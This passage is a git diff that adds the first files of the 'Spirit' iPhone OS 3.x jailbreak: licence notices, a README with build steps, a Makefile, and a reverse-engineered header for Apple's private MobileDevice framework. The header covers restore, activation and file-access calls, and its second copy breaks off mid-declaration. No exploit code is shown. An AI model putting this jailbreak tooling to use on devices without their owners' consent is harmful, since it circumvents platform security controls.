diff --git a/LEGAL b/LEGAL new file mode 100644 index 0000000..e3bd24d --- /dev/null +++ b/LEGAL @@ -0,0 +1,68 @@ +Various parts of spirit use code from the following: + +- XZ Utils - http://tukaani.org/xz/ +- zlib - http://www.zlib.net/ +- OpenBSD - http://www.openbsd.org/ + Copyright (c) 1991, 1993, 1994 + The Regents of the University of California. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. Neither the name of the University nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. +- libtar - http://www.feep.net/libtar/ + Copyright (c) 1998-2003 University of Illinois Board of Trustees + Copyright (c) 1998-2003 Mark D. Roth + All rights reserved. + + Developed by: Campus Information Technologies and Educational Services, + University of Illinois at Urbana-Champaign + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + ``Software''), to deal with the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject to + the following conditions: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimers. + + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimers in the + documentation and/or other materials provided with the distribution. + + * Neither the names of Campus Information Technologies and Educational + Services, University of Illinois at Urbana-Champaign, nor the names + of its contributors may be used to endorse or promote products derived + from this Software without specific prior written permission. + + THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. + IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR + ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, + TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE + OR THE USE OR OTHER DEALINGS WITH THE SOFTWARE. + +Thanks! diff --git a/MobileDevice.h b/MobileDevice.h new file mode 100644 index 0000000..7c19c98 --- /dev/null +++ b/MobileDevice.h @@ -0,0 +1,489 @@ +/* ---------------------------------------------------------------------------- + * MobileDevice.h - interface to MobileDevice.framework + * $LastChangedDate: 2007-07-09 18:59:29 -0700 (Mon, 09 Jul 2007) $ + * + * Copied from http://iphonesvn.halifrag.com/svn/iPhone/ + * With modifications from Allen Porter and Scott Turner + * + * ------------------------------------------------------------------------- */ + +#ifndef MOBILEDEVICE_H +#define MOBILEDEVICE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(WIN32) +#include +typedef unsigned int mach_error_t; +#elif defined(__APPLE__) +#include +#include +#endif + +/* Error codes */ +#define MDERR_APPLE_MOBILE (err_system(0x3a)) +#define MDERR_IPHONE (err_sub(0)) + +/* Apple Mobile (AM*) errors */ +#define MDERR_OK ERR_SUCCESS +#define MDERR_SYSCALL (ERR_MOBILE_DEVICE | 0x01) +#define MDERR_OUT_OF_MEMORY (ERR_MOBILE_DEVICE | 0x03) +#define MDERR_QUERY_FAILED (ERR_MOBILE_DEVICE | 0x04) +#define MDERR_INVALID_ARGUMENT (ERR_MOBILE_DEVICE | 0x0b) +#define MDERR_DICT_NOT_LOADED (ERR_MOBILE_DEVICE | 0x25) + +/* Apple File Connection (AFC*) errors */ +#define MDERR_AFC_OUT_OF_MEMORY 0x03 + +/* USBMux errors */ +#define MDERR_USBMUX_ARG_NULL 0x16 +#define MDERR_USBMUX_FAILED 0xffffffff + +/* Messages passed to device notification callbacks: passed as part of + * am_device_notification_callback_info. */ +#define ADNCI_MSG_CONNECTED 1 +#define ADNCI_MSG_DISCONNECTED 2 +#define ADNCI_MSG_UNKNOWN 3 + +#define AMD_IPHONE_PRODUCT_ID 0x1290 +#define AMD_IPHONE_SERIAL "3391002d9c804d105e2c8c7d94fc35b6f3d214a3" + +/* Services, found in /System/Library/Lockdown/Services.plist */ +#define AMSVC_AFC CFSTR("com.apple.afc") +#define AMSVC_BACKUP CFSTR("com.apple.mobilebackup") +#define AMSVC_CRASH_REPORT_COPY CFSTR("com.apple.crashreportcopy") +#define AMSVC_DEBUG_IMAGE_MOUNT CFSTR("com.apple.mobile.debug_image_mount") +#define AMSVC_NOTIFICATION_PROXY CFSTR("com.apple.mobile.notification_proxy") +#define AMSVC_PURPLE_TEST CFSTR("com.apple.purpletestr") +#define AMSVC_SOFTWARE_UPDATE CFSTR("com.apple.mobile.software_update") +#define AMSVC_SYNC CFSTR("com.apple.mobilesync") +#define AMSVC_SCREENSHOT CFSTR("com.apple.screenshotr") +#define AMSVC_SYSLOG_RELAY CFSTR("com.apple.syslog_relay") +#define AMSVC_SYSTEM_PROFILER CFSTR("com.apple.mobile.system_profiler") + +typedef unsigned int afc_error_t; +typedef unsigned int usbmux_error_t; +typedef unsigned int service_conn_t; + +struct am_recovery_device; + +typedef struct am_device_notification_callback_info { + struct am_device *dev; /* 0 device */ + unsigned int msg; /* 4 one of ADNCI_MSG_* */ +} __attribute__ ((packed)) am_device_notification_callback_info; + +/* The type of the device restore notification callback functions. + * TODO: change to correct type. */ +typedef void (*am_restore_device_notification_callback)(struct + am_recovery_device *); + +/* This is a CoreFoundation object of class AMRecoveryModeDevice. */ +typedef struct am_recovery_device { + unsigned char unknown0[8]; /* 0 */ + am_restore_device_notification_callback callback; /* 8 */ + void *user_info; /* 12 */ + unsigned char unknown1[12]; /* 16 */ + unsigned int readwrite_pipe; /* 28 */ + unsigned char read_pipe; /* 32 */ + unsigned char write_ctrl_pipe; /* 33 */ + unsigned char read_unknown_pipe; /* 34 */ + unsigned char write_file_pipe; /* 35 */ + unsigned char write_input_pipe; /* 36 */ +} __attribute__ ((packed)) am_recovery_device; + +/* A CoreFoundation object of class AMRestoreModeDevice. */ +typedef struct am_restore_device { + unsigned char unknown[32]; + int port; +} __attribute__ ((packed)) am_restore_device; + +/* The type of the device notification callback function. */ +typedef void(*am_device_notification_callback)(struct + am_device_notification_callback_info *, void* arg); + +/* The type of the _AMDDeviceAttached function. + * TODO: change to correct type. */ +typedef void *amd_device_attached_callback; + + +typedef struct am_device { + unsigned char unknown0[16]; /* 0 - zero */ + unsigned int device_id; /* 16 */ + unsigned int product_id; /* 20 - set to AMD_IPHONE_PRODUCT_ID */ + char *serial; /* 24 - set to AMD_IPHONE_SERIAL */ + unsigned int unknown1; /* 28 */ + unsigned char unknown2[4]; /* 32 */ + unsigned int lockdown_conn; /* 36 */ + unsigned char unknown3[8]; /* 40 */ +} __attribute__ ((packed)) am_device; + +typedef struct am_device_notification { + unsigned int unknown0; /* 0 */ + unsigned int unknown1; /* 4 */ + unsigned int unknown2; /* 8 */ + am_device_notification_callback callback; /* 12 */ + unsigned int unknown3; /* 16 */ +} __attribute__ ((packed)) am_device_notification; + +typedef struct afc_connection { + unsigned int handle; /* 0 */ + unsigned int unknown0; /* 4 */ + unsigned char unknown1; /* 8 */ + unsigned char padding[3]; /* 9 */ + unsigned int unknown2; /* 12 */ + unsigned int unknown3; /* 16 */ + unsigned int unknown4; /* 20 */ + unsigned int fs_block_size; /* 24 */ + unsigned int sock_block_size; /* 28: always 0x3c */ + unsigned int io_timeout; /* 32: from AFCConnectionOpen, usu. 0 */ + void *afc_lock; /* 36 */ + unsigned int context; /* 40 */ +} __attribute__ ((packed)) afc_connection; + +typedef struct afc_directory { + unsigned char unknown[0]; /* size unknown */ +} __attribute__ ((packed)) afc_directory; + +typedef struct afc_dictionary { + unsigned char unknown[0]; /* size unknown */ +} __attribute__ ((packed)) afc_dictionary; + +typedef unsigned long long afc_file_ref; + +typedef struct usbmux_listener_1 { /* offset value in iTunes */ + unsigned int unknown0; /* 0 1 */ + unsigned char *unknown1; /* 4 ptr, maybe device? */ + amd_device_attached_callback callback; /* 8 _AMDDeviceAttached */ + unsigned int unknown3; /* 12 */ + unsigned int unknown4; /* 16 */ + unsigned int unknown5; /* 20 */ +} __attribute__ ((packed)) usbmux_listener_1; + +typedef struct usbmux_listener_2 { + unsigned char unknown0[4144]; +} __attribute__ ((packed)) usbmux_listener_2; + +typedef struct am_bootloader_control_packet { + unsigned char opcode; /* 0 */ + unsigned char length; /* 1 */ + unsigned char magic[2]; /* 2: 0x34, 0x12 */ + unsigned char payload[0]; /* 4 */ +} __attribute__ ((packed)) am_bootloader_control_packet; + +/* ---------------------------------------------------------------------------- + * Public routines + * ------------------------------------------------------------------------- */ + +void AMDSetLogLevel(int level); + +/* Registers a notification with the current run loop. The callback gets + * copied into the notification struct, as well as being registered with the + * current run loop. dn_unknown3 gets copied into unknown3 in the same. + * (Maybe dn_unknown3 is a user info parameter that gets passed as an arg to + * the callback?) unused0 and unused1 are both 0 when iTunes calls this. + * In iTunes the callback is located from $3db78e-$3dbbaf. + * + * Returns: + * MDERR_OK if successful + * MDERR_SYSCALL if CFRunLoopAddSource() failed + * MDERR_OUT_OF_MEMORY if we ran out of memory + */ + +mach_error_t AMDeviceNotificationSubscribe(am_device_notification_callback + callback, unsigned int unused0, unsigned int unused1, void* //unsigned int + dn_unknown3, struct am_device_notification **notification); + +/* Connects to the iPhone. Pass in the am_device structure that the + * notification callback will give to you. + * + * Returns: + * MDERR_OK if successfully connected + * MDERR_SYSCALL if setsockopt() failed + * MDERR_QUERY_FAILED if the daemon query failed + * MDERR_INVALID_ARGUMENT if USBMuxConnectByPort returned 0xffffffff + */ + +mach_error_t AMDeviceConnect(struct am_device *device); + +/* Calls PairingRecordPath() on the given device, than tests whether the path + * which that function returns exists. During the initial connect, the path + * returned by that function is '/', and so this returns 1. + * + * Returns: + * 0 if the path did not exist + * 1 if it did + */ + +int AMDeviceIsPaired(struct am_device *device); + +/* iTunes calls this function immediately after testing whether the device is + * paired. It creates a pairing file and establishes a Lockdown connection. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the supplied device is null + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + */ + +mach_error_t AMDeviceValidatePairing(struct am_device *device); + +/* Creates a Lockdown session and adjusts the device structure appropriately + * to indicate that the session has been started. iTunes calls this function + * after validating pairing. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + */ + +mach_error_t AMDeviceStartSession(struct am_device *device); + +/* Starts a service and returns a handle that can be used in order to further + * access the service. You should stop the session and disconnect before using + * the service. iTunes calls this function after starting a session. It starts + * the service and the SSL connection. unknown may safely be + * NULL (it is when iTunes calls this), but if it is not, then it will be + * filled upon function exit. service_name should be one of the AMSVC_* + * constants. If the service is AFC (AMSVC_AFC), then the handle is the handle + * that will be used for further AFC* calls. + * + * Returns: + * MDERR_OK if successful + * MDERR_SYSCALL if the setsockopt() call failed + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + */ + +mach_error_t AMDeviceStartService(struct am_device *device, CFStringRef + service_name, service_conn_t *handle, unsigned int * + unknown); + +mach_error_t AMDeviceStartHouseArrestService(struct am_device *device, CFStringRef identifier, void *unknown, service_conn_t *handle, unsigned int *what); + +/* Stops a session. You should do this before accessing services. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + */ + +mach_error_t AMDeviceStopSession(struct am_device *device); + +/* Opens an Apple File Connection. You must start the appropriate service + * first with AMDeviceStartService(). In iTunes, io_timeout is 0. + * + * Returns: + * MDERR_OK if successful + * MDERR_AFC_OUT_OF_MEMORY if malloc() failed + */ + +afc_error_t AFCConnectionOpen(service_conn_t handle, unsigned int io_timeout, + struct afc_connection **conn); + +/* Pass in a pointer to an afc_device_info structure. It will be filled. */ +afc_error_t AFCDeviceInfoOpen(afc_connection *conn, struct + afc_dictionary **info); + +/* Turns debug mode on if the environment variable AFCDEBUG is set to a numeric + * value, or if the file '/AFCDEBUG' is present and contains a value. */ +void AFCPlatformInit(); + +/* Opens a directory on the iPhone. Pass in a pointer in dir to be filled in. + * Note that this normally only accesses the iTunes sandbox/partition as the + * root, which is /var/root/Media. Pathnames are specified with '/' delimiters + * as in Unix style. + * + * Returns: + * MDERR_OK if successful + */ + +afc_error_t AFCDirectoryOpen(afc_connection *conn, const char *path, + struct afc_directory **dir); + +/* Acquires the next entry in a directory previously opened with + * AFCDirectoryOpen(). When dirent is filled with a NULL value, then the end + * of the directory has been reached. '.' and '..' will be returned as the + * first two entries in each directory except the root; you may want to skip + * over them. + * + * Returns: + * MDERR_OK if successful, even if no entries remain + */ + +afc_error_t AFCDirectoryRead(afc_connection *conn/*unsigned int unused*/, struct afc_directory *dir, + char **dirent); + +afc_error_t AFCDirectoryClose(afc_connection *conn, struct afc_directory *dir); +afc_error_t AFCDirectoryCreate(afc_connection *conn, const char *dirname); +afc_error_t AFCRemovePath(afc_connection *conn, const char *dirname); +afc_error_t AFCRenamePath(afc_connection *conn, const char *from, const char *to); +afc_error_t AFCLinkPath(afc_connection *conn, long long int linktype, const char *target, const char *linkname); + +/* Returns the context field of the given AFC connection. */ +unsigned int AFCConnectionGetContext(afc_connection *conn); + +/* Returns the fs_block_size field of the given AFC connection. */ +unsigned int AFCConnectionGetFSBlockSize(afc_connection *conn); + +/* Returns the io_timeout field of the given AFC connection. In iTunes this is + * 0. */ +unsigned int AFCConnectionGetIOTimeout(afc_connection *conn); + +/* Returns the sock_block_size field of the given AFC connection. */ +unsigned int AFCConnectionGetSocketBlockSize(afc_connection *conn); + +/* Closes the given AFC connection. */ +afc_error_t AFCConnectionClose(afc_connection *conn); + +/* Registers for device notifications related to the restore process. unknown0 + * is zero when iTunes calls this. In iTunes, + * the callbacks are located at: + * 1: $3ac68e-$3ac6b1, calls $3ac542(unknown1, arg, 0) + * 2: $3ac66a-$3ac68d, calls $3ac542(unknown1, 0, arg) + * 3: $3ac762-$3ac785, calls $3ac6b2(unknown1, arg, 0) + * 4: $3ac73e-$3ac761, calls $3ac6b2(unknown1, 0, arg) + */ + +unsigned int AMRestoreRegisterForDeviceNotifications( + am_restore_device_notification_callback dfu_connect_callback, + am_restore_device_notification_callback recovery_connect_callback, + am_restore_device_notification_callback dfu_disconnect_callback, + am_restore_device_notification_callback recovery_disconnect_callback, + unsigned int unknown0, + void *user_info); + +/* Causes the restore functions to spit out (unhelpful) progress messages to + * the file specified by the given path. iTunes always calls this right before + * restoring with a path of + * "$HOME/Library/Logs/iPhone Updater Logs/iPhoneUpdater X.log", where X is an + * unused number. + */ + +unsigned int AMRestoreEnableFileLogging(char *path); + +/* Initializes a new option dictionary to default values. Pass the constant + * kCFAllocatorDefault as the allocator. The option dictionary looks as + * follows: + * { + * NORImageType => 'production', + * AutoBootDelay => 0, + * KernelCacheType => 'Release', + * UpdateBaseband => true, + * DFUFileType => 'RELEASE', + * SystemImageType => 'User', + * CreateFilesystemPartitions => true, + * FlashNOR => true, + * RestoreBootArgs => 'rd=md0 nand-enable-reformat=1 -progress' + * BootImageType => 'User' + * } + * + * Returns: + * the option dictionary if successful + * NULL if out of memory + */ + +CFMutableDictionaryRef AMRestoreCreateDefaultOptions(CFAllocatorRef allocator); + +/* ---------------------------------------------------------------------------- + * Less-documented public routines + * ------------------------------------------------------------------------- */ + +/* mode 2 = read, mode 3 = write */ +afc_error_t AFCFileRefOpen(afc_connection *conn, const char *path, + unsigned long long mode, afc_file_ref *ref); +afc_error_t AFCFileRefSeek(afc_connection *conn, afc_file_ref ref, + unsigned long long offset1, unsigned long long offset2); +afc_error_t AFCFileRefRead(afc_connection *conn, afc_file_ref ref, + void *buf, unsigned int *len); +afc_error_t AFCFileRefSetFileSize(afc_connection *conn, afc_file_ref ref, + unsigned long long offset); +afc_error_t AFCFileRefWrite(afc_connection *conn, afc_file_ref ref, + const void *buf, unsigned int len); +afc_error_t AFCFileRefClose(afc_connection *conn, afc_file_ref ref); + +afc_error_t AFCFileInfoOpen(afc_connection *conn, const char *path, struct + afc_dictionary **info); +afc_error_t AFCKeyValueRead(struct afc_dictionary *dict, char **key, char ** + val); +afc_error_t AFCKeyValueClose(struct afc_dictionary *dict); + +unsigned int AMRestorePerformRecoveryModeRestore(struct am_recovery_device * + rdev, CFDictionaryRef opts, void *callback, void *user_info); +unsigned int AMRestorePerformRestoreModeRestore(struct am_restore_device * + rdev, CFDictionaryRef opts, void *callback, void *user_info); + +struct am_restore_device *AMRestoreModeDeviceCreate(unsigned int unknown0, + unsigned int connection_id, unsigned int unknown1); + +unsigned int AMRestoreCreatePathsForBundle(CFStringRef restore_bundle_path, + CFStringRef kernel_cache_type, CFStringRef boot_image_type, unsigned int + unknown0, CFStringRef *firmware_dir_path, CFStringRef * + kernelcache_restore_path, unsigned int unknown1, CFStringRef * + ramdisk_path); + +unsigned int AMDeviceGetConnectionID(struct am_device *device); +mach_error_t AMDeviceEnterRecovery(struct am_device *device); +mach_error_t AMDeviceDisconnect(struct am_device *device); +mach_error_t AMDeviceRetain(struct am_device *device); +mach_error_t AMDeviceRelease(struct am_device *device); +CFStringRef AMDeviceCopyValue(struct am_device *device, unsigned int, CFStringRef cfstring); +CFStringRef AMDeviceCopyDeviceIdentifier(struct am_device *device); + +typedef void (*notify_callback)(CFStringRef notification, void *data); + +mach_error_t AMDPostNotification(service_conn_t socket, CFStringRef notification, CFStringRef userinfo); +mach_error_t AMDObserveNotification(void *socket, CFStringRef notification); +mach_error_t AMDListenForNotifications(void *socket, notify_callback cb, void *data); +mach_error_t AMDShutdownNotificationProxy(void *socket); + +/*edits by geohot*/ +mach_error_t AMDeviceDeactivate(struct am_device *device); +mach_error_t AMDeviceActivate(struct am_device *device, CFMutableDictionaryRef); +/*end*/ + +void *AMDeviceSerialize(struct am_device *device); +void AMDAddLogFileDescriptor(int fd); +//kern_return_t AMDeviceSendMessage(service_conn_t socket, void *unused, CFPropertyListRef plist); +//kern_return_t AMDeviceReceiveMessage(service_conn_t socket, CFDictionaryRef options, CFPropertyListRef * result); + +/* ---------------------------------------------------------------------------- + * Semi-private routines + * ------------------------------------------------------------------------- */ + +/* Pass in a usbmux_listener_1 structure and a usbmux_listener_2 structure + * pointer, which will be filled with the resulting usbmux_listener_2. + * + * Returns: + * MDERR_OK if completed successfully + * MDERR_USBMUX_ARG_NULL if one of the arguments was NULL + * MDERR_USBMUX_FAILED if the listener was not created successfully + */ + +usbmux_error_t USBMuxListenerCreate(struct usbmux_listener_1 *esi_fp8, struct + usbmux_listener_2 **eax_fp12); + +/* ---------------------------------------------------------------------------- + * Less-documented semi-private routines + * ------------------------------------------------------------------------- */ + +usbmux_error_t USBMuxListenerHandleData(void *); + +/* ---------------------------------------------------------------------------- + * Private routines - here be dragons + * ------------------------------------------------------------------------- */ + +/* AMRestorePerformRestoreModeRestore() calls this function with a dictionary + * in order to perform certain special restore operations + * (RESTORED_OPERATION_*). It is thought that this function might enable + * significant access to the phone. */ + +typedef unsigned int (*t_performOperation)(struct am_restore_device *rdev, + CFDictionaryRef op); // __attribute__ ((regparm(2))); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/README b/README new file mode 100644 index 0000000..98d16ef --- /dev/null +++ b/README @@ -0,0 +1,22 @@ +Spirit - a jailbreak for iPhone OS 3.1.2, 3.1.3, and 3.2 +by comex (et al.) + +Build Instructions: +- Ensure you are running Mac OS X Snow Leopard. There's not a chance in hell any other OS is going to build this mess. +-- chpwn wrote these instructions, but he is right. this is so ugly. +- MacPorts is required. Fink/etc are unlikely to work, even if they provide the same packages. +- You'll need the iPhone SDK 3.2 (or later). +- Install mingw and upx from MacPorts (for building the Win32 parts). +- Add MobileDevice.dll and CoreFoundation.dll to winstuff/lib from a Windows iTunes installation. +- Add "kern" (kernel) and "launchd" to each of the corresponding folders in igor/ipsw. +- Add required (copyrighted) headers: cp -a /System/Library/Frameworks/IOSurface.framework/Versions/A/Headers igor/headers/IOSurface +- Find the SDK: ln -s /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.2.sdk /var/sdk +- Add compilers to $PATH: export PATH=/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin:$PATH +- Build it: ./fullbuild.sh + +Notes: + - Yes, this builds for Windows on OSX. + - Linux version: http://github.com/posixninja/spirit-linux + - dl (device link) is the computer-side jailbreak. + - The GUIs just wrap dl. + - igor is the iphone-side part, and probably the most interesting to examine. diff --git a/dl/Makefile b/dl/Makefile new file mode 100644 index 0000000..2f7a18c --- /dev/null +++ b/dl/Makefile @@ -0,0 +1,18 @@ +all: dl dl.exe + +%.w32o: %.c afc.h output.h threadshit.h + /opt/local/bin/i386-mingw32-gcc -m32 -I../winstuff -I/opt/local/i386-mingw32/include -std=gnu99 -c -o $@ $< + +dl.exe: dl.w32o afc.w32o sha1dgst.w32o + /opt/local/bin/i386-mingw32-gcc -L/opt/local/i386-mingw32/lib -std=gnu99 -o $@ $^ -L../winstuff/lib -lMobileDevice -lCoreFoundation -lwsock32 + bash -c 'if [ ! -e crap ]; then mkdir crap; fi; cp dl.bat dl.exe crap/' + +%.o: %.c afc.h output.h threadshit.h + gcc -mmacosx-version-min=10.4 -std=gnu99 -arch i386 -arch ppc -m32 -DTESTING -c -o $@ $< + +dl: dl.o afc.o sha1dgst.o igor/ + make -C igor + gcc -mmacosx-version-min=10.4 -arch i386 -arch ppc -m32 -o dl dl.o afc.o sha1dgst.o -F/System/Library/PrivateFrameworks/ -framework MobileDevice -framework CoreFoundation -framework Foundation -framework DeviceLink -lz + +clean: + rm -rf dl *.o *.dSYM *.exe *.w32o crap diff --git a/dl/MobileDevice.h b/dl/MobileDevice.h new file mode 100755 index 0000000..b9fe258 --- /dev/null +++ b/dl/MobileDevice.h @@ -0,0 +1,490 @@ +/* ---------------------------------------------------------------------------- + * MobileDevice.h - interface to MobileDevice.framework + * $LastChangedDate: 2007-07-09 18:59:29 -0700 (Mon, 09 Jul 2007) $ + * + * Copied from http://iphonesvn.halifrag.com/svn/iPhone/ + * With modifications from Allen Porter and Scott Turner + * + * ------------------------------------------------------------------------- */ + +#ifndef MOBILEDEVICE_H +#define MOBILEDEVICE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(WIN32) +#include +typedef unsigned int mach_error_t; +#elif defined(__APPLE__) +#include +#include +#endif +#include + +/* Error codes */ +#define MDERR_APPLE_MOBILE (err_system(0x3a)) +#define MDERR_IPHONE (err_sub(0)) + +/* Apple Mobile (AM*) errors */ +#define MDERR_OK ERR_SUCCESS +#define MDERR_SYSCALL (ERR_MOBILE_DEVICE | 0x01) +#define MDERR_OUT_OF_MEMORY (ERR_MOBILE_DEVICE | 0x03) +#define MDERR_QUERY_FAILED (ERR_MOBILE_DEVICE | 0x04) +#define MDERR_INVALID_ARGUMENT (ERR_MOBILE_DEVICE | 0x0b) +#define MDERR_DICT_NOT_LOADED (ERR_MOBILE_DEVICE | 0x25) + +/* Apple File Connection (AFC*) errors */ +#define MDERR_AFC_OUT_OF_MEMORY 0x03 + +/* USBMux errors */ +#define MDERR_USBMUX_ARG_NULL 0x16 +#define MDERR_USBMUX_FAILED 0xffffffff + +/* Messages passed to device notification callbacks: passed as part of + * am_device_notification_callback_info. */ +#define ADNCI_MSG_CONNECTED 1 +#define ADNCI_MSG_DISCONNECTED 2 +#define ADNCI_MSG_UNKNOWN 3 + +#define AMD_IPHONE_PRODUCT_ID 0x1290 +#define AMD_IPHONE_SERIAL "3391002d9c804d105e2c8c7d94fc35b6f3d214a3" + +/* Services, found in /System/Library/Lockdown/Services.plist */ +#define AMSVC_AFC CFSTR("com.apple.afc") +#define AMSVC_BACKUP CFSTR("com.apple.mobilebackup") +#define AMSVC_CRASH_REPORT_COPY CFSTR("com.apple.crashreportcopy") +#define AMSVC_DEBUG_IMAGE_MOUNT CFSTR("com.apple.mobile.debug_image_mount") +#define AMSVC_NOTIFICATION_PROXY CFSTR("com.apple.mobile.notification_proxy") +#define AMSVC_PURPLE_TEST CFSTR("com.apple.purpletestr") +#define AMSVC_SOFTWARE_UPDATE CFSTR("com.apple.mobile.software_update") +#define AMSVC_SYNC CFSTR("com.apple.mobilesync") +#define AMSVC_SCREENSHOT CFSTR("com.apple.screenshotr") +#define AMSVC_SYSLOG_RELAY CFSTR("com.apple.syslog_relay") +#define AMSVC_SYSTEM_PROFILER CFSTR("com.apple.mobile.system_profiler") + +typedef unsigned int afc_error_t; +typedef unsigned int usbmux_error_t; +typedef unsigned int service_conn_t; + +struct am_recovery_device; + +typedef struct am_device_notification_callback_info { + struct am_device *dev; /* 0 device */ + unsigned int msg; /* 4 one of ADNCI_MSG_* */ +} __attribute__ ((packed)) am_device_notification_callback_info; + +/* The type of the device restore notification callback functions. + * TODO: change to correct type. */ +typedef void (*am_restore_device_notification_callback)(struct + am_recovery_device *); + +/* This is a CoreFoundation object of class AMRecoveryModeDevice. */ +typedef struct am_recovery_device { + unsigned char unknown0[8]; /* 0 */ + am_restore_device_notification_callback callback; /* 8 */ + void *user_info; /* 12 */ + unsigned char unknown1[12]; /* 16 */ + unsigned int readwrite_pipe; /* 28 */ + unsigned char read_pipe; /* 32 */ + unsigned char write_ctrl_pipe; /* 33 */ + unsigned char read_unknown_pipe; /* 34 */ + unsigned char write_file_pipe; /* 35 */ + unsigned char write_input_pipe; /* 36 */ +} __attribute__ ((packed)) am_recovery_device; + +/* A CoreFoundation object of class AMRestoreModeDevice. */ +typedef struct am_restore_device { + unsigned char unknown[32]; + int port; +} __attribute__ ((packed)) am_restore_device; + +/* The type of the device notification callback function. */ +typedef void(*am_device_notification_callback)(struct + am_device_notification_callback_info *, void* arg); + +/* The type of the _AMDDeviceAttached function. + * TODO: change to correct type. */ +typedef void *amd_device_attached_callback; + + +typedef struct am_device { + unsigned char unknown0[16]; /* 0 - zero */ + unsigned int device_id; /* 16 */ + unsigned int product_id; /* 20 - set to AMD_IPHONE_PRODUCT_ID */ + char *serial; /* 24 - set to AMD_IPHONE_SERIAL */ + unsigned int unknown1; /* 28 */ + unsigned char unknown2[4]; /* 32 */ + unsigned int lockdown_conn; /* 36 */ + unsigned char unknown3[8]; /* 40 */ +} __attribute__ ((packed)) am_device; + +typedef struct am_device_notification { + unsigned int unknown0; /* 0 */ + unsigned int unknown1; /* 4 */ + unsigned int unknown2; /* 8 */ + am_device_notification_callback callback; /* 12 */ + unsigned int unknown3; /* 16 */ +} __attribute__ ((packed)) am_device_notification; + +typedef struct afc_connection { + unsigned int handle; /* 0 */ + unsigned int unknown0; /* 4 */ + unsigned char unknown1; /* 8 */ + unsigned char padding[3]; /* 9 */ + unsigned int unknown2; /* 12 */ + unsigned int unknown3; /* 16 */ + unsigned int unknown4; /* 20 */ + unsigned int fs_block_size; /* 24 */ + unsigned int sock_block_size; /* 28: always 0x3c */ + unsigned int io_timeout; /* 32: from AFCConnectionOpen, usu. 0 */ + void *afc_lock; /* 36 */ + unsigned int context; /* 40 */ +} __attribute__ ((packed)) afc_connection; + +typedef struct afc_directory { + unsigned char unknown[0]; /* size unknown */ +} __attribute__ ((packed)) afc_directory; + +typedef struct afc_dictionary { + unsigned char unknown[0]; /* size unknown */ +} __attribute__ ((packed)) afc_dictionary; + +typedef unsigned long long afc_file_ref; + +typedef struct usbmux_listener_1 { /* offset value in iTunes */ + unsigned int unknown0; /* 0 1 */ + unsigned char *unknown1; /* 4 ptr, maybe device? */ + amd_device_attached_callback callback; /* 8 _AMDDeviceAttached */ + unsigned int unknown3; /* 12 */ + unsigned int unknown4; /* 16 */ + unsigned int unknown5; /* 20 */ +} __attribute__ ((packed)) usbmux_listener_1; + +typedef struct usbmux_listener_2 { + unsigned char unknown0[4144]; +} __attribute__ ((packed)) usbmux_listener_2; + +typedef struct am_bootloader_control_packet { + unsigned char opcode; /* 0 */ + unsigned char length; /* 1 */ + unsigned char magic[2]; /* 2: 0x34, 0x12 */ + unsigned char payload[0]; /* 4 */ +} __attribute__ ((packed)) am_bootloader_control_packet; + +/* ---------------------------------------------------------------------------- + * Public routines + * ------------------------------------------------------------------------- */ + +void AMDSetLogLevel(int level); + +/* Registers a notification with the current run loop. The callback gets + * copied into the notification struct, as well as being registered with the + * current run loop. dn_unknown3 gets copied into unknown3 in the same. + * (Maybe dn_unknown3 is a user info parameter that gets passed as an arg to + * the callback?) unused0 and unused1 are both 0 when iTunes calls this. + * In iTunes the callback is located from $3db78e-$3dbbaf. + * + * Returns: + * MDERR_OK if successful + * MDERR_SYSCALL if CFRunLoopAddSource() failed + * MDERR_OUT_OF_MEMORY if we ran out of memory + */ + +mach_error_t 